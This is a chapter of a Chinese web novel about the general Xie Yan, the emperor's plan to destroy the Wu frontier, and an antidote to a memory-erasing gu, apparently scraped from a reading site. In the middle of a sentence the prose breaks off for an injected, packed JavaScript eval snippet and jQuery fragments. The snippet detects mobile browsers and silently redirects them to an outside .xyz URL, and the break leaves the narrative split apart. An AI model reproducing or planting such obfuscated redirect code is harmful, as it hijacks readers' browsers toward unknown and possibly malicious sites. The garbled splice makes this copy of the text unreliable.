60. 你不该和我作对的
作品:《给少年将军下情蛊后》 皇帝背对着谢宴,慢悠悠道:“怎么,你是在质问朕吗?”
“臣不敢。”
“不敢,朕看你敢得很!”皇帝指着外边,道,“你就这么跪在外面,是想向世人宣布,你谢将军为了一个巫疆女和朕作对吗?”
刹那间,整个御书房都安静了,小太监们也都不敢喘气,他们屏住呼吸,恨不得自己聋了,听不见接下来的对话。
皇帝:“在青阳山时,你也看见了她那个张狂的样子,纵使小六做了什么错事,她也不该直接说出来,这不是把朕的面子往地上踩吗。”
“而且,巫疆东夏联姻不成,始终是个隐患,倒不如借此机会杀圣女,灭巫疆,为东夏开疆扩土。”
谢宴的墨瞳泛起一丝涟漪。
先前的不解和疑惑似乎都在这瞬间被打破了。
原来没有误会。
原来都是真的。
谢宴向来直挺的背佝下了半分,他说不出半句不是,因为陛下做的都是有利于东夏之事。陛下再仁慈,终究是君主,不会感情用事,只会利益为先。
他嘴角泛起一抹苦涩又无奈的笑容,垂下的眼眸里满是凄凉讽刺,道:“陛下,臣明白了。”
“行了,你身上伤多,这几日也不必上朝了,回府歇几日,等事情结束了再上朝也不迟。”皇帝道。
谢宴每一步,都如同被砍断了丝线的提线木偶,只能凭借身体的直觉走出这皇宫。
迎面却看到,意气风发的沈青遥。
她直接走到谢宴面前,似是关心道:“谢将军,我听说陛下命人将巫疆使团都抓了起来,好像是要择日处死呢,你说,阿芜该怎么办?”
谢宴抬起眼,直看见她那再难掩住的野心,他道:“阿芜恰好能撞见六皇子和闻沉玉,这里面有你的手笔。”
沈青遥微微侧头,声中带着兴奋:“谁让你要和楚家作对,谁让阿芜要和阿客作对,我好不容易得来的幸福,绝不会让你们就这么毁了。怎么,你愤怒了吗?”
她明晃晃地笑着,像是在说,十年前楚相能让你谢家被灭门,十年后的今日她就能让整个巫疆为楚客陪葬。
“你们不该和我作对的。”
沈青遥眼底狠厉,她查过了,阿客的蛊无药可解,只能用汤药吊着命,她就只能这么看着阿客疯着死去。
这是对一个谋士最大的侮辱。
不过没关系,等她登上那位置之后,她就改写史书,她的阿客,永远都是最干净睿智的谋士。
什么巫疆,什么骨花,什么圣女,统统都会化为一把灰,史书上不会留半个字。
谢宴冷嘲道:“你们既然知道我要报仇,为何不杀了我,怎么,是杀不死我吗?”
沈青遥定定地看着谢宴,其实当年楚相没有杀了谢宴谢宁,除了在长安不好下手外,还有一个原因——当年那个巫疆蛊女给谢宴谢宁下了蛊,让他们忘了所有的事,这虽是他们保命的手段,但确实也给楚相省了不少事。
当然,这些年,楚相也试探过几次谢宴。
但无一例外,谢宴都不记得。
沈青遥:“起初我也很疑惑,为何这些年你都像没事人一样,这次回长安后却突然查起当年的事,我本以为是阿芜知道什么消息后告诉了你。”
“不过现在看来,是你一直在伪装。”
“谢宴,你确实有本事。”
楚相也曾愤愤地和她说,早知谢宴会成长为如今这样,当年他定会斩草除根。
沈青遥眼底闪着疯狂又诡异的光,她问道:
“我是杀不了你,不过我有个更好的办法。你说若陛下非得要你杀了阿芜——”
“一边是陛下的知遇之恩,一边是与阿芜的两厢情深。”
“谢宴,我看你怎么选。”
*
卫府。
绯绯正蹲在地上数蚂蚁,却撇头看见一双熟悉的靴子。
“舅舅!”
绯绯张开怀抱,扑到谢宴身上,道,“你都好久没来找绯绯玩了。”
谢宴掂了掂绯绯,强颜欢笑道:“对不住,舅舅这些日子有点忙。”
“没事。”绯绯搂着谢宴,咯咯笑道,“绯绯知道,是舅舅要娶妻了,所以才这么忙,没空来看绯绯。”
谢宴捏了捏绯绯的小脸,问道:“谁告诉你的?”
“是娘亲告诉我的!”绯绯两手捂着嘴,道,“娘亲告诉我,你去娶那个长得很好看很好看的漂亮姐姐了。”
长姐怎么会告诉绯绯这些事?
谢宴茫然地看向门口处,谢宁站在门后,像是不敢见他,但又很想和他说说话的样子,脸上露着不自在的笑容。
谢宴微微颔首:“长姐。卫家为难你了吗?”
“没有没有,多亏了你给我的那些人,婆母给不敢来找我闹。”谢宁马上接话,道,“你,和阿芜,还好吗,什么时候成亲啊?”
谢宁小产后,就一直待在府中养身体,连茶楼都很少去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468081|177130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是以也不知道巫疆使团被抓起来的消息。
可谢宴此刻想的却不是这件事,而是,长姐对阿芜的态度。
她怎么好像接受了阿芜?
许是察觉到谢宴探究的神色,谢宁让奶娘把绯绯抱走,将谢宴叫进屋,拿出一只锦盒,里面有一颗淡蓝色的药丸。
“这是昨日闻沉玉拿来的。”谢宁还记得,闻沉玉来时,说的第一句话就是,你这些年活的真糊涂,竟然连自己缺失了一段记忆也忽略了。
其实,谢宁不是忽略了。
她只是下意识觉着,忘记了,就不会痛苦,所以记得或者不记得又有什么关系呢。
可闻沉玉竟与她说,她是被人下了蛊,才会不记得那段记忆。
而这药丸,就是解药。
她犹豫了半天,还是吞了下去,想起了那段称得上快活的日子,有她,有胥之,有沉玉,还有阿芜。
记忆中,这个总是甜甜地喊她宁姐姐的小姑娘,是被闻大将军和风黎夫人捧在手心里长大的。
那时的谢宁也不知道,长大后的阿芜会如此命运多舛。
谢宁:“这是忘情蛊的解药,长姐已经吃过了。”
谢宴知道谢宁话里的意思,虽然这是闻沉玉送过来的,但这解药是真的。
“多谢长姐。”谢宴收下锦盒,心里明镜般,这是闻沉玉的明谋。
吃下这份解药,他想起冼州的那段时日后,只会更难抉择。
闻沉玉和沈青遥一样,都想看他痛苦。
谢宁松了口气,祈求般的看着谢宴,道:“虽然我还是不知道咱们谢家是被谁害的,但至少不是巫疆女,风黎夫人她……是个好人,你和阿芜好好在一起,若阿芜介意我对她做的事,你让她打我骂我,我绝对不还口也不还手。”
“胥之,从前的事,都是长姐的不是,是我被仇恨蒙蔽了双眼。以后,无论你想做什么,你想去哪里,长姐都支持好不好?”
“我清点了下咱家的财产,足够你们二人好好过完这一生了,无论你们想留在长安,还是去巫疆,长姐都支持。”
她知道,谢宴从小到大都只喜欢看书习字,其实并不喜欢打架,更不喜欢杀人。
余晖撒在院子里,绯绯正踩着那一丝金光玩。
谢宴开口道,眸子里泛着浅浅的笑:
“长姐,谢谢你。”
人这一生,会遇到太多人,但是想要拼尽力气去守护的,值得去守护的,就那么几个。